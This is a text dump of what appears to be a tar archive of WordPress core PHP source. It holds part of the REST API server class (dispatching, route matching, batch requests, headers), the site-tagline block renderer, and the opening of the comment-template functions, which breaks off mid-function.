		 * Allow hijacking the request before dispatching by returning a non-empty. The returned value
		 * will be used to serve the request instead.
		 *
		 * @since 4.4.0
		 *
		 * @param mixed           $result  Response to replace the requested version with. Can be anything
		 *                                 a normal endpoint can return, or null to not hijack the request.
		 * @param WP_REST_Server  $server  Server instance.
		 * @param WP_REST_Request $request Request used to generate the response.
		 */
		$result = apply_filters( 'rest_pre_dispatch', null, $this, $request );

		if ( ! empty( $result ) ) {

			// Normalize to either WP_Error or WP_REST_Response...
			$result = rest_ensure_response( $result );

			// ...then convert WP_Error across.
			if ( is_wp_error( $result ) ) {
				$result = $this->error_to_response( $result );
			}

			array_pop( $this->dispatching_requests );
			return $result;
		}

		$error   = null;
		$matched = $this->match_request_to_handler( $request );

		if ( is_wp_error( $matched ) ) {
			$response = $this->error_to_response( $matched );
			array_pop( $this->dispatching_requests );
			return $response;
		}

		list( $route, $handler ) = $matched;

		if ( ! is_callable( $handler['callback'] ) ) {
			$error = new WP_Error(
				'rest_invalid_handler',
				__( 'The handler for the route is invalid.' ),
				array( 'status' => 500 )
			);
		}

		if ( ! is_wp_error( $error ) ) {
			$check_required = $request->has_valid_params();
			if ( is_wp_error( $check_required ) ) {
				$error = $check_required;
			} else {
				$check_sanitized = $request->sanitize_params();
				if ( is_wp_error( $check_sanitized ) ) {
					$error = $check_sanitized;
				}
			}
		}

		$response = $this->respond_to_request( $request, $route, $handler, $error );
		array_pop( $this->dispatching_requests );
		return $response;
	}

	/**
	 * Returns whether the REST server is currently dispatching / responding to a request.
	 *
	 * This may be a standalone REST API request, or an internal request dispatched from within a regular page load.
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the REST server is currently handling a request.
	 */
	public function is_dispatching() {
		return (bool) $this->dispatching_requests;
	}

	/**
	 * Matches a request object to its handler.
	 *
	 * @access private
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request The request object.
	 * @return array|WP_Error The route and request handler on success or a WP_Error instance if no handler was found.
	 */
	protected function match_request_to_handler( $request ) {
		$method = $request->get_method();
		$path   = $request->get_route();

		$with_namespace = array();

		foreach ( $this->get_namespaces() as $namespace ) {
			if ( str_starts_with( trailingslashit( ltrim( $path, '/' ) ), $namespace ) ) {
				$with_namespace[] = $this->get_routes( $namespace );
			}
		}

		if ( $with_namespace ) {
			$routes = array_merge( ...$with_namespace );
		} else {
			$routes = $this->get_routes();
		}

		foreach ( $routes as $route => $handlers ) {
			$match = preg_match( '@^' . $route . '$@i', $path, $matches );

			if ( ! $match ) {
				continue;
			}

			$args = array();

			foreach ( $matches as $param => $value ) {
				if ( ! is_int( $param ) ) {
					$args[ $param ] = $value;
				}
			}

			foreach ( $handlers as $handler ) {
				$callback = $handler['callback'];

				// Fallback to GET method if no HEAD method is registered.
				$checked_method = $method;
				if ( 'HEAD' === $method && empty( $handler['methods']['HEAD'] ) ) {
					$checked_method = 'GET';
				}
				if ( empty( $handler['methods'][ $checked_method ] ) ) {
					continue;
				}

				if ( ! is_callable( $callback ) ) {
					return array( $route, $handler );
				}

				$request->set_url_params( $args );
				$request->set_attributes( $handler );

				$defaults = array();

				foreach ( $handler['args'] as $arg => $options ) {
					if ( isset( $options['default'] ) ) {
						$defaults[ $arg ] = $options['default'];
					}
				}

				$request->set_default_params( $defaults );

				return array( $route, $handler );
			}
		}

		return new WP_Error(
			'rest_no_route',
			__( 'No route was found matching the URL and request method.' ),
			array( 'status' => 404 )
		);
	}

	/**
	 * Dispatches the request to the callback handler.
	 *
	 * @access private
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request  The request object.
	 * @param string          $route    The matched route regex.
	 * @param array           $handler  The matched route handler.
	 * @param WP_Error|null   $response The current error object if any.
	 * @return WP_REST_Response
	 */
	protected function respond_to_request( $request, $route, $handler, $response ) {
		/**
		 * Filters the response before executing any REST API callbacks.
		 *
		 * Allows plugins to perform additional validation after a
		 * request is initialized and matched to a registered route,
		 * but before it is executed.
		 *
		 * Note that this filter will not be called for requests that
		 * fail to authenticate or match to a registered route.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response|WP_HTTP_Response|WP_Error|mixed $response Result to send to the client.
		 *                                                                   Usually a WP_REST_Response or WP_Error.
		 * @param array                                            $handler  Route handler used for the request.
		 * @param WP_REST_Request                                  $request  Request used to generate the response.
		 */
		$response = apply_filters( 'rest_request_before_callbacks', $response, $handler, $request );

		// Check permission specified on the route.
		if ( ! is_wp_error( $response ) && ! empty( $handler['permission_callback'] ) ) {
			$permission = call_user_func( $handler['permission_callback'], $request );

			if ( is_wp_error( $permission ) ) {
				$response = $permission;
			} elseif ( false === $permission || null === $permission ) {
				$response = new WP_Error(
					'rest_forbidden',
					__( 'Sorry, you are not allowed to do that.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		if ( ! is_wp_error( $response ) ) {
			/**
			 * Filters the REST API dispatch request result.
			 *
			 * Allow plugins to override dispatching the request.
			 *
			 * @since 4.4.0
			 * @since 4.5.0 Added `$route` and `$handler` parameters.
			 *
			 * @param mixed           $dispatch_result Dispatch result, will be used if not empty.
			 * @param WP_REST_Request $request         Request used to generate the response.
			 * @param string          $route           Route matched for the request.
			 * @param array           $handler         Route handler used for the request.
			 */
			$dispatch_result = apply_filters( 'rest_dispatch_request', null, $request, $route, $handler );

			// Allow plugins to halt the request via this filter.
			if ( null !== $dispatch_result ) {
				$response = $dispatch_result;
			} else {
				$response = call_user_func( $handler['callback'], $request );
			}
		}

		/**
		 * Filters the response immediately after executing any REST API
		 * callbacks.
		 *
		 * Allows plugins to perform any needed cleanup, for example,
		 * to undo changes made during the {@see 'rest_request_before_callbacks'}
		 * filter.
		 *
		 * Note that this filter will not be called for requests that
		 * fail to authenticate or match to a registered route.
		 *
		 * Note that an endpoint's `permission_callback` can still be
		 * called after this filter - see `rest_send_allow_header()`.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response|WP_HTTP_Response|WP_Error|mixed $response Result to send to the client.
		 *                                                                   Usually a WP_REST_Response or WP_Error.
		 * @param array                                            $handler  Route handler used for the request.
		 * @param WP_REST_Request                                  $request  Request used to generate the response.
		 */
		$response = apply_filters( 'rest_request_after_callbacks', $response, $handler, $request );

		if ( is_wp_error( $response ) ) {
			$response = $this->error_to_response( $response );
		} else {
			$response = rest_ensure_response( $response );
		}

		$response->set_matched_route( $route );
		$response->set_matched_handler( $handler );

		return $response;
	}

	/**
	 * Returns if an error occurred during most recent JSON encode/decode.
	 *
	 * Strings to be translated will be in format like
	 * "Encoding error: Maximum stack depth exceeded".
	 *
	 * @since 4.4.0
	 *
	 * @return false|string Boolean false or string error message.
	 */
	protected function get_json_last_error() {
		$last_error_code = json_last_error();

		if ( JSON_ERROR_NONE === $last_error_code || empty( $last_error_code ) ) {
			return false;
		}

		return json_last_error_msg();
	}

	/**
	 * Retrieves the site index.
	 *
	 * This endpoint describes the capabilities of the site.
	 *
	 * @since 4.4.0
	 *
	 * @param array $request {
	 *     Request.
	 *
	 *     @type string $context Context.
	 * }
	 * @return WP_REST_Response The API root index data.
	 */
	public function get_index( $request ) {
		// General site data.
		$available = array(
			'name'            => get_option( 'blogname' ),
			'description'     => get_option( 'blogdescription' ),
			'url'             => get_option( 'siteurl' ),
			'home'            => home_url(),
			'gmt_offset'      => get_option( 'gmt_offset' ),
			'timezone_string' => get_option( 'timezone_string' ),
			'page_for_posts'  => (int) get_option( 'page_for_posts' ),
			'page_on_front'   => (int) get_option( 'page_on_front' ),
			'show_on_front'   => get_option( 'show_on_front' ),
			'namespaces'      => array_keys( $this->namespaces ),
			'authentication'  => array(),
			'routes'          => $this->get_data_for_routes( $this->get_routes(), $request['context'] ),
		);

		$response = new WP_REST_Response( $available );

		$fields = isset( $request['_fields'] ) ? $request['_fields'] : '';
		$fields = wp_parse_list( $fields );
		if ( empty( $fields ) ) {
			$fields[] = '_links';
		}

		if ( $request->has_param( '_embed' ) ) {
			$fields[] = '_embedded';
		}

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_link( 'help', 'https://developer.wordpress.org/rest-api/' );
			$this->add_active_theme_link_to_index( $response );
			$this->add_site_logo_to_index( $response );
			$this->add_site_icon_to_index( $response );
		} else {
			if ( rest_is_field_included( 'site_logo', $fields ) ) {
				$this->add_site_logo_to_index( $response );
			}
			if ( rest_is_field_included( 'site_icon', $fields ) || rest_is_field_included( 'site_icon_url', $fields ) ) {
				$this->add_site_icon_to_index( $response );
			}
		}

		/**
		 * Filters the REST API root index data.
		 *
		 * This contains the data describing the API. This includes information
		 * about supported authentication schemes, supported namespaces, routes
		 * available on the API, and a small amount of data about the site.
		 *
		 * @since 4.4.0
		 * @since 6.0.0 Added `$request` parameter.
		 *
		 * @param WP_REST_Response $response Response data.
		 * @param WP_REST_Request  $request  Request data.
		 */
		return apply_filters( 'rest_index', $response, $request );
	}

	/**
	 * Adds a link to the active theme for users who have proper permissions.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 */
	protected function add_active_theme_link_to_index( WP_REST_Response $response ) {
		$should_add = current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' );

		if ( ! $should_add && current_user_can( 'edit_posts' ) ) {
			$should_add = true;
		}

		if ( ! $should_add ) {
			foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
				if ( current_user_can( $post_type->cap->edit_posts ) ) {
					$should_add = true;
					break;
				}
			}
		}

		if ( $should_add ) {
			$theme = wp_get_theme();
			$response->add_link( 'https://api.w.org/active-theme', rest_url( 'wp/v2/themes/' . $theme->get_stylesheet() ) );
		}
	}

	/**
	 * Exposes the site logo through the WordPress REST API.
	 *
	 * This is used for fetching this information when user has no rights
	 * to update settings.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 */
	protected function add_site_logo_to_index( WP_REST_Response $response ) {
		$site_logo_id = get_theme_mod( 'custom_logo', 0 );

		$this->add_image_to_index( $response, $site_logo_id, 'site_logo' );
	}

	/**
	 * Exposes the site icon through the WordPress REST API.
	 *
	 * This is used for fetching this information when user has no rights
	 * to update settings.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 */
	protected function add_site_icon_to_index( WP_REST_Response $response ) {
		$site_icon_id = get_option( 'site_icon', 0 );

		$this->add_image_to_index( $response, $site_icon_id, 'site_icon' );

		$response->data['site_icon_url'] = get_site_icon_url();
	}

	/**
	 * Exposes an image through the WordPress REST API.
	 * This is used for fetching this information when user has no rights
	 * to update settings.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 * @param int              $image_id Image attachment ID.
	 * @param string           $type     Type of Image.
	 */
	protected function add_image_to_index( WP_REST_Response $response, $image_id, $type ) {
		$response->data[ $type ] = (int) $image_id;
		if ( $image_id ) {
			$response->add_link(
				'https://api.w.org/featuredmedia',
				rest_url( rest_get_route_for_post( $image_id ) ),
				array(
					'embeddable' => true,
					'type'       => $type,
				)
			);
		}
	}

	/**
	 * Retrieves the index for a namespace.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Request $request REST request instance.
	 * @return WP_REST_Response|WP_Error WP_REST_Response instance if the index was found,
	 *                                   WP_Error if the namespace isn't set.
	 */
	public function get_namespace_index( $request ) {
		$namespace = $request['namespace'];

		if ( ! isset( $this->namespaces[ $namespace ] ) ) {
			return new WP_Error(
				'rest_invalid_namespace',
				__( 'The specified namespace could not be found.' ),
				array( 'status' => 404 )
			);
		}

		$routes    = $this->namespaces[ $namespace ];
		$endpoints = array_intersect_key( $this->get_routes(), $routes );

		$data     = array(
			'namespace' => $namespace,
			'routes'    => $this->get_data_for_routes( $endpoints, $request['context'] ),
		);
		$response = rest_ensure_response( $data );

		// Link to the root index.
		$response->add_link( 'up', rest_url( '/' ) );

		/**
		 * Filters the REST API namespace index data.
		 *
		 * This typically is just the route data for the namespace, but you can
		 * add any data you'd like here.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_REST_Response $response Response data.
		 * @param WP_REST_Request  $request  Request data. The namespace is passed as the 'namespace' parameter.
		 */
		return apply_filters( 'rest_namespace_index', $response, $request );
	}

	/**
	 * Retrieves the publicly-visible data for routes.
	 *
	 * @since 4.4.0
	 *
	 * @param array  $routes  Routes to get data for.
	 * @param string $context Optional. Context for data. Accepts 'view' or 'help'. Default 'view'.
	 * @return array[] Route data to expose in indexes, keyed by route.
	 */
	public function get_data_for_routes( $routes, $context = 'view' ) {
		$available = array();

		// Find the available routes.
		foreach ( $routes as $route => $callbacks ) {
			$data = $this->get_data_for_route( $route, $callbacks, $context );
			if ( empty( $data ) ) {
				continue;
			}

			/**
			 * Filters the publicly-visible data for a single REST API route.
			 *
			 * @since 4.4.0
			 *
			 * @param array $data Publicly-visible data for the route.
			 */
			$available[ $route ] = apply_filters( 'rest_endpoints_description', $data );
		}

		/**
		 * Filters the publicly-visible data for REST API routes.
		 *
		 * This data is exposed on indexes and can be used by clients or
		 * developers to investigate the site and find out how to use it. It
		 * acts as a form of self-documentation.
		 *
		 * @since 4.4.0
		 *
		 * @param array[] $available Route data to expose in indexes, keyed by route.
		 * @param array   $routes    Internal route data as an associative array.
		 */
		return apply_filters( 'rest_route_data', $available, $routes );
	}

	/**
	 * Retrieves publicly-visible data for the route.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route     Route to get data for.
	 * @param array  $callbacks Callbacks to convert to data.
	 * @param string $context   Optional. Context for the data. Accepts 'view' or 'help'. Default 'view'.
	 * @return array|null Data for the route, or null if no publicly-visible data.
	 */
	public function get_data_for_route( $route, $callbacks, $context = 'view' ) {
		$data = array(
			'namespace' => '',
			'methods'   => array(),
			'endpoints' => array(),
		);

		$allow_batch = false;

		if ( isset( $this->route_options[ $route ] ) ) {
			$options = $this->route_options[ $route ];

			if ( isset( $options['namespace'] ) ) {
				$data['namespace'] = $options['namespace'];
			}

			$allow_batch = isset( $options['allow_batch'] ) ? $options['allow_batch'] : false;

			if ( isset( $options['schema'] ) && 'help' === $context ) {
				$data['schema'] = call_user_func( $options['schema'] );
			}
		}

		$allowed_schema_keywords = array_flip( rest_get_allowed_schema_keywords() );

		$route = preg_replace( '#\(\?P<(\w+?)>.*?\)#', '{$1}', $route );

		foreach ( $callbacks as $callback ) {
			// Skip to the next route if any callback is hidden.
			if ( empty( $callback['show_in_index'] ) ) {
				continue;
			}

			$data['methods'] = array_merge( $data['methods'], array_keys( $callback['methods'] ) );
			$endpoint_data   = array(
				'methods' => array_keys( $callback['methods'] ),
			);

			$callback_batch = isset( $callback['allow_batch'] ) ? $callback['allow_batch'] : $allow_batch;

			if ( $callback_batch ) {
				$endpoint_data['allow_batch'] = $callback_batch;
			}

			if ( isset( $callback['args'] ) ) {
				$endpoint_data['args'] = array();

				foreach ( $callback['args'] as $key => $opts ) {
					if ( is_string( $opts ) ) {
						$opts = array( $opts => 0 );
					} elseif ( ! is_array( $opts ) ) {
						$opts = array();
					}
					$arg_data             = array_intersect_key( $opts, $allowed_schema_keywords );
					$arg_data['required'] = ! empty( $opts['required'] );

					$endpoint_data['args'][ $key ] = $arg_data;
				}
			}

			$data['endpoints'][] = $endpoint_data;

			// For non-variable routes, generate links.
			if ( ! str_contains( $route, '{' ) ) {
				$data['_links'] = array(
					'self' => array(
						array(
							'href' => rest_url( $route ),
						),
					),
				);
			}
		}

		if ( empty( $data['methods'] ) ) {
			// No methods supported, hide the route.
			return null;
		}

		return $data;
	}

	/**
	 * Gets the maximum number of requests that can be included in a batch.
	 *
	 * @since 5.6.0
	 *
	 * @return int The maximum requests.
	 */
	protected function get_max_batch_size() {
		/**
		 * Filters the maximum number of REST API requests that can be included in a batch.
		 *
		 * @since 5.6.0
		 *
		 * @param int $max_size The maximum size.
		 */
		return apply_filters( 'rest_get_max_batch_size', 25 );
	}

	/**
	 * Serves the batch/v1 request.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $batch_request The batch request object.
	 * @return WP_REST_Response The generated response object.
	 */
	public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
		$requests = array();

		foreach ( $batch_request['requests'] as $args ) {
			$parsed_url = wp_parse_url( $args['path'] );

			if ( false === $parsed_url ) {
				$requests[] = new WP_Error( 'parse_path_failed', __( 'Could not parse the path.' ), array( 'status' => 400 ) );

				continue;
			}

			$single_request = new WP_REST_Request( isset( $args['method'] ) ? $args['method'] : 'POST', $parsed_url['path'] );

			if ( ! empty( $parsed_url['query'] ) ) {
				$query_args = array();
				wp_parse_str( $parsed_url['query'], $query_args );
				$single_request->set_query_params( $query_args );
			}

			if ( ! empty( $args['body'] ) ) {
				$single_request->set_body_params( $args['body'] );
			}

			if ( ! empty( $args['headers'] ) ) {
				$single_request->set_headers( $args['headers'] );
			}

			$requests[] = $single_request;
		}

		$matches    = array();
		$validation = array();
		$has_error  = false;

		foreach ( $requests as $single_request ) {
			$match     = $this->match_request_to_handler( $single_request );
			$matches[] = $match;
			$error     = null;

			if ( is_wp_error( $match ) ) {
				$error = $match;
			}

			if ( ! $error ) {
				list( $route, $handler ) = $match;

				if ( isset( $handler['allow_batch'] ) ) {
					$allow_batch = $handler['allow_batch'];
				} else {
					$route_options = $this->get_route_options( $route );
					$allow_batch   = isset( $route_options['allow_batch'] ) ? $route_options['allow_batch'] : false;
				}

				if ( ! is_array( $allow_batch ) || empty( $allow_batch['v1'] ) ) {
					$error = new WP_Error(
						'rest_batch_not_allowed',
						__( 'The requested route does not support batch requests.' ),
						array( 'status' => 400 )
					);
				}
			}

			if ( ! $error ) {
				$check_required = $single_request->has_valid_params();
				if ( is_wp_error( $check_required ) ) {
					$error = $check_required;
				}
			}

			if ( ! $error ) {
				$check_sanitized = $single_request->sanitize_params();
				if ( is_wp_error( $check_sanitized ) ) {
					$error = $check_sanitized;
				}
			}

			if ( $error ) {
				$has_error    = true;
				$validation[] = $error;
			} else {
				$validation[] = true;
			}
		}

		$responses = array();

		if ( $has_error && 'require-all-validate' === $batch_request['validation'] ) {
			foreach ( $validation as $valid ) {
				if ( is_wp_error( $valid ) ) {
					$responses[] = $this->envelope_response( $this->error_to_response( $valid ), false )->get_data();
				} else {
					$responses[] = null;
				}
			}

			return new WP_REST_Response(
				array(
					'failed'    => 'validation',
					'responses' => $responses,
				),
				WP_Http::MULTI_STATUS
			);
		}

		foreach ( $requests as $i => $single_request ) {
			$clean_request = clone $single_request;
			$clean_request->set_url_params( array() );
			$clean_request->set_attributes( array() );
			$clean_request->set_default_params( array() );

			/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
			$result = apply_filters( 'rest_pre_dispatch', null, $this, $clean_request );

			if ( empty( $result ) ) {
				$match = $matches[ $i ];
				$error = null;

				if ( is_wp_error( $validation[ $i ] ) ) {
					$error = $validation[ $i ];
				}

				if ( is_wp_error( $match ) ) {
					$result = $this->error_to_response( $match );
				} else {
					list( $route, $handler ) = $match;

					if ( ! $error && ! is_callable( $handler['callback'] ) ) {
						$error = new WP_Error(
							'rest_invalid_handler',
							__( 'The handler for the route is invalid' ),
							array( 'status' => 500 )
						);
					}

					$result = $this->respond_to_request( $single_request, $route, $handler, $error );
				}
			}

			/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
			$result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $single_request );

			$responses[] = $this->envelope_response( $result, false )->get_data();
		}

		return new WP_REST_Response( array( 'responses' => $responses ), WP_Http::MULTI_STATUS );
	}

	/**
	 * Sends an HTTP status code.
	 *
	 * @since 4.4.0
	 *
	 * @param int $code HTTP status.
	 */
	protected function set_status( $code ) {
		status_header( $code );
	}

	/**
	 * Sends an HTTP header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header key.
	 * @param string $value Header value.
	 */
	public function send_header( $key, $value ) {
		/*
		 * Sanitize as per RFC2616 (Section 4.2):
		 *
		 * Any LWS that occurs between field-content MAY be replaced with a
		 * single SP before interpreting the field value or forwarding the
		 * message downstream.
		 */
		$value = preg_replace( '/\s+/', ' ', $value );
		header( sprintf( '%s: %s', $key, $value ) );
	}

	/**
	 * Sends multiple HTTP headers.
	 *
	 * @since 4.4.0
	 *
	 * @param array $headers Map of header name to header value.
	 */
	public function send_headers( $headers ) {
		foreach ( $headers as $key => $value ) {
			$this->send_header( $key, $value );
		}
	}

	/**
	 * Removes an HTTP header from the current response.
	 *
	 * @since 4.8.0
	 *
	 * @param string $key Header key.
	 */
	public function remove_header( $key ) {
		header_remove( $key );
	}

	/**
	 * Retrieves the raw request entity (body).
	 *
	 * @since 4.4.0
	 *
	 * @global string $HTTP_RAW_POST_DATA Raw post data.
	 *
	 * @return string Raw request data.
	 */
	public static function get_raw_data() {
		// phpcs:disable PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved
		global $HTTP_RAW_POST_DATA;

		// $HTTP_RAW_POST_DATA was deprecated in PHP 5.6 and removed in PHP 7.0.
		if ( ! isset( $HTTP_RAW_POST_DATA ) ) {
			$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
		}

		return $HTTP_RAW_POST_DATA;
		// phpcs:enable
	}

	/**
	 * Extracts headers from a PHP-style $_SERVER array.
	 *
	 * @since 4.4.0
	 *
	 * @param array $server Associative array similar to `$_SERVER`.
	 * @return array Headers extracted from the input.
	 */
	public function get_headers( $server ) {
		$headers = array();

		// CONTENT_* headers are not prefixed with HTTP_.
		$additional = array(
			'CONTENT_LENGTH' => true,
			'CONTENT_MD5'    => true,
			'CONTENT_TYPE'   => true,
		);

		foreach ( $server as $key => $value ) {
			if ( str_starts_with( $key, 'HTTP_' ) ) {
				$headers[ substr( $key, 5 ) ] = $value;
			} elseif ( 'REDIRECT_HTTP_AUTHORIZATION' === $key && empty( $server['HTTP_AUTHORIZATION'] ) ) {
				/*
				 * In some server configurations, the authorization header is passed in this alternate location.
				 * Since it would not be passed in in both places we do not check for both headers and resolve.
				 */
				$headers['AUTHORIZATION'] = $value;
			} elseif ( isset( $additional[ $key ] ) ) {
				$headers[ $key ] = $value;
			}
		}

		return $headers;
	}
}
14338/site-tagline.php.tar000064400000006000151024420100011072 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/site-tagline.php000064400000002263151024242740025733 0ustar00<?php
/**
 * Server-side rendering of the `core/site-tagline` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/site-tagline` block on the server.
 *
 * @since 5.8.0
 *
 * @param array $attributes The block attributes.
 *
 * @return string The render.
 */
function render_block_core_site_tagline( $attributes ) {
	$site_tagline = get_bloginfo( 'description' );
	if ( ! $site_tagline ) {
		return;
	}

	$tag_name           = 'p';
	$align_class_name   = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}";
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) );

	if ( isset( $attributes['level'] ) && 0 !== $attributes['level'] ) {
		$tag_name = 'h' . (int) $attributes['level'];
	}

	return sprintf(
		'<%1$s %2$s>%3$s</%1$s>',
		$tag_name,
		$wrapper_attributes,
		$site_tagline
	);
}

/**
 * Registers the `core/site-tagline` block on the server.
 *
 * @since 5.8.0
 */
function register_block_core_site_tagline() {
	register_block_type_from_metadata(
		__DIR__ . '/site-tagline',
		array(
			'render_callback' => 'render_block_core_site_tagline',
		)
	);
}

add_action( 'init', 'register_block_core_site_tagline' );
14338/comment-template.php.tar000064400000315000151024420100011763 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/comment-template.php000064400000311300151024201100025320 0ustar00<?php
/**
 * Comment template functions
 *
 * These functions are meant to live inside of the WordPress loop.
 *
 * @package WordPress
 * @subpackage Template
 */

/**
 * Retrieves the author of the current comment.
 *
 * If the comment has an empty comment_author field, then 'Anonymous' person is
 * assumed.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to retrieve the author.
 *                                   Default current comment.
 * @return string The comment author
 */
function get_comment_author( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	if ( ! empty( $comment->comment_ID ) ) {
		$comment_id = $comment->comment_ID;
	} elseif ( is_scalar( $comment_id ) ) {
		$comment_id = (string) $comment_id;
	} else {
		$comment_id = '0';
	}

	if ( empty( $comment->comment_author ) ) {
		$user = ! empty( $comment->user_id ) ? get_userdata( $comment->user_id ) : false;
		if ( $user ) {
			$comment_author = $user->display_name;
		} else {
			$comment_author = __( 'Anonymous' );
		}
	} else {
		$comment_author = $comment->comment_author;
	}

	/**
	 * Filters the returned comment author name.
	 *
	 * @since 1.5.0
	 * @since 4.1.0 The `$comment_id` and `$comment` parameters were added.
	 *
	 * @param string     $comment_author The comment author's username.
	 * @param string     $comment_id     The comment ID as a numeric string.
	 * @param WP_Comment $comment        The comment object.
	 */
	return apply_filters( 'get_comment_author', $comment_author, $comment_id, $comment );
}

/**
 * Displays the author of the current comment.
 *
 * @since 0.71
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to print the author.
 *                                   Default current comment.
 */
function comment_author( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	$comment_author = get_comment_author( $comment );

	/**
	 * Filters the comment author's name for display.
	 *
	 * @since 1.2.0
	 * @since 4.1.0 The `$comment_id` parameter was added.
	 *
	 * @param string $comment_author The comment author's username.
	 * @param string $comment_id     The comment ID as a numeric string.
	 */
	echo apply_filters( 'comment_author', $comment_author, $comment->comment_ID );
}

/**
 * Retrieves the email of the author of the current comment.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to get the author's email.
 *                                   Default current comment.
 * @return string The current comment author's email
 */
function get_comment_author_email( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	/**
	 * Filters the comment author's returned email address.
	 *
	 * @since 1.5.0
	 * @since 4.1.0 The `$comment_id` and `$comment` parameters were added.
	 *
	 * @param string     $comment_author_email The comment author's email address.
	 * @param string     $comment_id           The comment ID as a numeric string.
	 * @param WP_Comment $comment              The comment object.
	 */
	return apply_filters( 'get_comment_author_email', $comment->comment_author_email, $comment->comment_ID, $comment );
}

/**
 * Displays the email of the author of the current global $comment.
 *
 * Care should be taken to protect the email address and assure that email
 * harvesters do not capture your commenter's email address. Most assume that
 * their email address will not appear in raw form on the site. Doing so will
 * enable anyone, including those that people don't want to get the email
 * address and use it for their own means good and bad.
 *
 * @since 0.71
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to print the author's email.
 *                                   Default current comment.
 */
function comment_author_email( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	$comment_author_email = get_comment_author_email( $comment );

	/**
	 * Filters the comment author's email for display.
	 *
	 * @since 1.2.0
	 * @since 4.1.0 The `$comment_id` parameter was added.
	 *
	 * @param string $comment_author_email The comment author's email address.
	 * @param string $comment_id           The comment ID as a numeric string.
	 */
	echo apply_filters( 'author_email', $comment_author_email, $comment->comment_ID );
}

/**
 * Displays the HTML email link to the author of the current comment.
 *
 * Care should be taken to protect the email address and assure that email
 * harvesters do not capture your commenter's email address. Most assume that
 * their email address will not appear in raw form on the site. Doing so will
 * enable anyone, including those that people don't want to get the email
 * address and use it for their own means good and bad.
 *
 * @since 0.71
 * @since 4.6.0 Added the `$comment` parameter.
 *
 * @param string         $link_text Optional. Text to display instead of the comment author's email address.
 *                                  Default empty.
 * @param string         $before    Optional. Text or HTML to display before the email link. Default empty.
 * @param string         $after     Optional. Text or HTML to display after the email link. Default empty.
 * @param int|WP_Comment $comment   Optional. Comment ID or WP_Comment object. Default is the current comment.
 */
function comment_author_email_link( $link_text = '', $before = '', $after = '', $comment = null ) {
	$link = get_comment_author_email_link( $link_text, $before, $after, $comment );
	if ( $link ) {
		echo $link;
	}
}

/**
 * Returns the HTML email link to the author of the current comment.
 *
 * Care should be taken to protect the email address and assure that email
 * harvesters do not capture your commenter's email address. Most assume that
 * their email address will not appear in raw form on the site. Doing so will
 * enable anyone, including those that people don't want to get the email
 * address and use it for their own means good and bad.
 *
 * @since 2.7.0
 * @since 4.6.0 Added the `$comment` parameter.
 *
 * @param string         $link_text Optional. Text to display instead of the comment author's email address.
 *                                  Default empty.
 * @param string         $before    Optional. Text or HTML to display before the email link. Default empty.
 * @param string         $after     Optional. Text or HTML to display after the email link. Default empty.
 * @param int|WP_Comment $comment   Optional. Comment ID or WP_Comment object. Default is the current comment.
 * @return string HTML markup for the comment author email link. By default, the email address is obfuscated
 *                via the {@see 'comment_email'} filter with antispambot().
 */
function get_comment_author_email_link( $link_text = '', $before = '', $after = '', $comment = null ) {
	$comment = get_comment( $comment );

	/**
	 * Filters the comment author's email for display.
	 *
	 * Care should be taken to protect the email address and assure that email
	 * harvesters do not capture your commenter's email address.
	 *
	 * @since 1.2.0
	 * @since 4.1.0 The `$comment` parameter was added.
	 *
	 * @param string     $comment_author_email The comment author's email address.
	 * @param WP_Comment $comment              The comment object.
	 */
	$comment_author_email = apply_filters( 'comment_email', $comment->comment_author_email, $comment );

	if ( ( ! empty( $comment_author_email ) ) && ( '@' !== $comment_author_email ) ) {
		$display = ( '' !== $link_text ) ? $link_text : $comment_author_email;

		$comment_author_email_link = $before . sprintf(
			'<a href="%1$s">%2$s</a>',
			esc_url( 'mailto:' . $comment_author_email ),
			esc_html( $display )
		) . $after;

		return $comment_author_email_link;
	} else {
